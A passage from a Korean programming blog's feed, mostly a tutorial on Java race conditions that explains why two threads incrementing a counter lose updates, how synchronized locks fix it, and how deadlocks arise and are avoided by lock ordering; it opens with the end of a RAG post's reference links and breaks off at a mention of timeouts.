&lt;p&gt;RAG를 붙였는데 기대만큼 안 나왔던 경험, 원인이 어디였나요? 댓글로 나눠 주세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2005.11401&quot;&gt;Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks (원 논문)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/docs/guides/retrieval&quot;&gt;OpenAI — Retrieval&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/news/contextual-retrieval&quot;&gt;Anthropic — Contextual Retrieval&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[경쟁 상태와 락 — 2000이 나와야 하는데 1847이 나오는 이유]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 스레드 둘이 각각 1000번씩  했습니다. 결과는? 1847입니다. 다시 돌리면 1923이고, 또 돌리면 178…]]></description><link>https://blog.javapark.kr/race-condition/</link><guid isPermaLink="false">https://blog.javapark.kr/race-condition/</guid><pubDate>Sun, 16 Aug 2026 22:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/2d4e6749d2c69d3ce9c8a096ce19c108/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACF0lEQVR42n2S228SQRTG90Vbyy4zOzN7Y3fb3WVvwEqhtuUqZQtaq22CNHgptXjBlGiMitZoE2JJTBoTCA8a3/xfHYToizH5PZxkvu98c+YMA8QEkJJTaPEvkJwWYuuKmo/p5ZhWlNQNrGShlKJHDKQK4lKiYiI6VSeh9Je5WaHmoqZvqXpFVvNEWZubF/Qcm7iBUnUkJkTR57FzmTMvscYisBY4c9pLTCIpEOW0HMsSMQC8w0GLhUaUuMyt5uPr+8eRwuFSoX2l0Eal9vbOvUbr2WZ5v377IUd8KoKiiwQXix4itiB5spoEyOCQxXSOPzw4+qjd/ax3x/rJxOx8efK8/3X0o9s77XTfRgWfxTZRAmV5lUg+kvxi9aBx/6VmZpegwTRq49bN74d7o17vtP9ucDa4eHryvt15Ra+9GLXoYBxxeOIKJC5iS8KmiE2FWBitsCjOnA8ng/PJizfD0befn4bj/tmFlQ5hLM3LKV6mD+ZHsK1JXkp2DGwY/PKjtdLrUs0WrCXeYvLVg1y1uR42i7tHmbDl5vdQvMCpGaAEs1XRZCK4MokLNBaZluyakoN5OnOc4eLbbHAn4lRIIpQzu9CrclYBGJtAXZ0tP0ocFtMcMzKFbmGFQgvalIGxABob0C7xiZAPdmCqDpwKMHJAy87Ngsdh5w+017wQPAYoV4F+DdA0dwska8APgV3+nZz5z7eb8QtbJGlEaTBcDAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/2d4e6749d2c69d3ce9c8a096ce19c108/a1b3b/thumbnail.webp 215w,
/static/2d4e6749d2c69d3ce9c8a096ce19c108/fc700/thumbnail.webp 430w,
/static/2d4e6749d2c69d3ce9c8a096ce19c108/521f7/thumbnail.webp 860w,
/static/2d4e6749d2c69d3ce9c8a096ce19c108/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/2d4e6749d2c69d3ce9c8a096ce19c108/f7886/thumbnail.png 215w,
/static/2d4e6749d2c69d3ce9c8a096ce19c108/bc750/thumbnail.png 430w,
/static/2d4e6749d2c69d3ce9c8a096ce19c108/3e3fe/thumbnail.png 860w,
/static/2d4e6749d2c69d3ce9c8a096ce19c108/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/2d4e6749d2c69d3ce9c8a096ce19c108/3e3fe/thumbnail.png&apos; alt=&apos;경쟁 상태 커버 — 예상 2000, 실제 1847&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;경쟁 상태 커버 — 예상 2000, 실제 1847&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;스레드 둘이 각각 1000번씩 &lt;code class=&quot;language-text&quot;&gt;+1&lt;/code&gt; 했습니다. 결과는?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;1847입니다.&lt;/strong&gt; 다시 돌리면 1923이고, 또 돌리면 1786입니다. 코드는 그대로인데 매번 다릅니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;count++&lt;/code&gt;는 한 동작이 아닙니다.&lt;/strong&gt; 읽고, 더하고, 쓰는 세 동작입니다. 그 사이에 다른 스레드가 끼어들면 증가 하나가 통째로 사라집니다.&lt;/p&gt;
&lt;p&gt;증가가 사라지는 순간을 눈으로 보고 싶으시면 &lt;strong&gt;1분 3초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 두 스레드가 같은 값을 손에 쥐고, 두 번 더했는데 1만 늘어나는 장면을 느리게 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/D8v10LIlhtY&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 91.16279069767442%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAADV0lEQVR42jWTyW4cRRiAG+Pp7lq7ll6r9+plpmc89nhsZ2zPOI4d2QkIIl8ShQASSDlw5MARwQMgcUPiAogH4AW45c2o8QjpU6lU+r/+l6q2GK+40EI2XDRCtlw2TGhzYs4ZL4WsPJYTmhgQjgCUBhdygASA3JJBa0KH2dVkWC9P7ofppqiOZ/OrpjvNi4P108+Xp7dNd9z2yzQbn5zdzA7PE6UhEpj4lhCtlL3vT8JwGkWzMBx8fyz9bvtRaSqquSgZzz2WMZ5xYTYJxj6Ej5kprT3WebwHpHFQDYimrCNeQ0iBSY5wClECSeLieM9mH+3Tj0fUBnzk0JFNLC+Z88mV117264ezu3fdxSvZb1i/9tI5ITkmGckPSLPE1dFs8+nB1SfZYuNkY1BPbexbrFjy8cbT58d3726/+WH+/C1vL1h34VUnO5nqJa6PSHV4/uqryzfv29XzUdKCZu6wxGL5gvdrpld48pS8/JYM1151xtoLrzjGu8z1kZFRNjiHV+7Ng616kPWunjk8sUyQKZt1l7zfiO26NmnZeO2Vxxg/yqbm9gQ3C6wXuJojfeiWU9AvHKks6ndesTSwfMmbc1adefnCmMRvtwMjGQ5bXMxQOkH1HJYzoDpXtW6ibXNVpjEzWEqqLbSm4YSQkmxz5pjmiGaIKIhi6Cnoly4OHeQ7SNpI2EhaJoLQgtByB+Wahv3OxMbckkIvRWEDPOWSyCGhTYIdFiKpaexxNiZPDlEGhYZSA5y6xKAcc8mBtnk2Mib9X6ahwULYPFplHoNB0FRRlRClAq1kmfI85VkaaRXpmKtQKGDkrWbkwGwsiKJtSzihOFkl+sVwctPMr6vpOu/PgvxJWBgu4+oiqa9TXfnpHgkQiwiPbS+0AAyND1DEcWwiNtVklXU3zeyumz8rx7d6uK2HVVKfRuUmqdsgC2Xyvhuuc73nRZYLAgADF4YMRauofBJXAwm+f3j94Y+/Pvz597+//f7PL7++GBZHfrZW2sgm5yqtsyDf57GRpQt8B/gUBuu4uk6b87D8bHz405svf3779Y+vv/ju2f29nprKb9OmD7N9FnlSIalsoSzbYY7LdxQ0OhBqKtMxTwrADSUUNTG/aDoE+TTMGY9HLNpn8YgnjlD/AfP4eqhPocy5AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/b951083deb146bc4afe6b79c405088e7/a1b3b/video-thumb.webp 215w,
/static/b951083deb146bc4afe6b79c405088e7/fc700/video-thumb.webp 430w,
/static/b951083deb146bc4afe6b79c405088e7/521f7/video-thumb.webp 860w,
/static/b951083deb146bc4afe6b79c405088e7/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/b951083deb146bc4afe6b79c405088e7/f7886/video-thumb.png 215w,
/static/b951083deb146bc4afe6b79c405088e7/bc750/video-thumb.png 430w,
/static/b951083deb146bc4afe6b79c405088e7/3e3fe/video-thumb.png 860w,
/static/b951083deb146bc4afe6b79c405088e7/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/b951083deb146bc4afe6b79c405088e7/3e3fe/video-thumb.png&apos; alt=&apos;경쟁 상태 영상 — 두 스레드가 같은 1000을 읽어 증가 하나가 사라지는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;경쟁 상태 영상 — 두 스레드가 같은 1000을 읽어 증가 하나가 사라지는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;문제의 코드&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Counter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; count &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;increment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        count&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;              &lt;span class=&quot;token comment&quot;&gt;// 한 줄이지만 한 동작이 아니다&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;Counter&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Counter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;Thread&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;increment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;Thread&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;increment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token class-name&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;count&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// 2000 이 아니다&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 코드에서 &lt;strong&gt;2000이 나오는 경우가 오히려 우연&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;code class=&quot;language-text&quot;&gt;count++&lt;/code&gt;를 분해하면&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;count++&lt;/code&gt;는 컴파일되면 세 단계가 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;읽기&lt;/td&gt;
&lt;td&gt;메모리에서 &lt;code class=&quot;language-text&quot;&gt;count&lt;/code&gt; 값을 가져온다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;수정&lt;/td&gt;
&lt;td&gt;가져온 값에 1을 더한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;쓰기&lt;/td&gt;
&lt;td&gt;결과를 메모리에 돌려놓는다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;스레드는 이 셋 &lt;strong&gt;사이 어느 지점에서든&lt;/strong&gt; 멈출 수 있습니다. 운영체제가 CPU를 다른 스레드에 넘기기 때문입니다.&lt;/p&gt;
&lt;h3&gt;따로 일어나면 문제없다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;A: 읽기 1000 → 수정 1001 → 쓰기 1001
                                      B: 읽기 1001 → 수정 1002 → 쓰기 1002
결과 1002 ✔&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;겹치면 하나가 사라진다&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;A: 읽기 1000 → 수정 1001 ──────────→ 쓰기 1001
B:        읽기 1000 → 수정 1001 ─────────────→ 쓰기 1001
결과 1001 ✘   두 번 더했는데 1만 늘었다&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;둘 다 &lt;strong&gt;1000을 손에 쥔 채&lt;/strong&gt; 각자 1001을 씁니다. 나중에 쓴 쪽이 앞의 결과를 덮어써서, 증가 하나가 흔적도 없이 사라집니다.&lt;/p&gt;
&lt;p&gt;2000에서 1847이 나왔다면 &lt;strong&gt;이 겹침이 153번 일어난 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;이렇게 &lt;strong&gt;타이밍에 따라 결과가 달라지는 상태&lt;/strong&gt;를 경쟁 상태(race condition)라고 합니다. 그리고 &lt;code class=&quot;language-text&quot;&gt;count++&lt;/code&gt;처럼 중간에 끼어들면 안 되는 구간을 임계 구역(critical section)이라고 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;락으로 막기&lt;/h2&gt;
&lt;p&gt;해결은 단순합니다. &lt;strong&gt;임계 구역에 한 번에 하나만 들어가게&lt;/strong&gt; 하면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;increment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    count&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A가 들어가 있는 동안 B는 문 앞에서 기다립니다. A가 나오면 그때 B가 들어갑니다. 겹칠 수가 없으니 항상 2000입니다.&lt;/p&gt;
&lt;h3&gt;락은 공짜가 아니다&lt;/h3&gt;
&lt;p&gt;여기서 끝내면 절반만 아는 겁니다. 락에는 세 가지 비용이 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 기다리는 동안 아무것도 못 합니다.&lt;/strong&gt; 스레드를 8개로 늘려도 이 지점에서는 한 줄로 섭니다. 임계 구역이 길수록 병렬성이 사라집니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 컨텍스트 스위칭 비용이 붙습니다.&lt;/strong&gt; 대기하는 스레드는 재웠다 깨워야 하고, 그 자체가 비쌉니다. 경합이 심하면 락 자체가 병목이 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 락이 둘 이상이면 데드락이 생깁니다.&lt;/strong&gt; 이게 가장 위험합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;데드락 — 서로를 기다리며 멈춘다&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 스레드 A&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lock1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lock2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 스레드 B&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lock2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;synchronized&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lock1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A가 &lt;code class=&quot;language-text&quot;&gt;lock1&lt;/code&gt;을, B가 &lt;code class=&quot;language-text&quot;&gt;lock2&lt;/code&gt;를 잡은 상태에서 A는 &lt;code class=&quot;language-text&quot;&gt;lock2&lt;/code&gt;를, B는 &lt;code class=&quot;language-text&quot;&gt;lock1&lt;/code&gt;을 기다립니다. &lt;strong&gt;둘 다 영원히 멈춥니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;데드락은 네 조건이 &lt;strong&gt;동시에&lt;/strong&gt; 성립할 때만 생깁니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;조건&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;상호 배제&lt;/td&gt;
&lt;td&gt;한 번에 하나만 쓸 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;점유와 대기&lt;/td&gt;
&lt;td&gt;하나를 쥔 채 다른 것을 기다린다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비선점&lt;/td&gt;
&lt;td&gt;남이 쥔 것을 뺏을 수 없다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;순환 대기&lt;/td&gt;
&lt;td&gt;기다림이 고리를 이룬다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;하나만 깨면 데드락은 생기지 않습니다. 실무에서 가장 쉬운 방법은 &lt;strong&gt;순환 대기를 깨는 것&lt;/strong&gt; — 락을 잡는 순서를 전역으로 하나 정해두면 됩니다. 항상 &lt;code class=&quot;language-text&quot;&gt;lock1&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;lock2&lt;/code&gt; 순서로만 잡으면 고리가 만들어질 수 없습니다.&lt;/p&gt;
&lt;p&gt;타임아웃을 거는 방법도 있습니다.&lt;/p&gt;
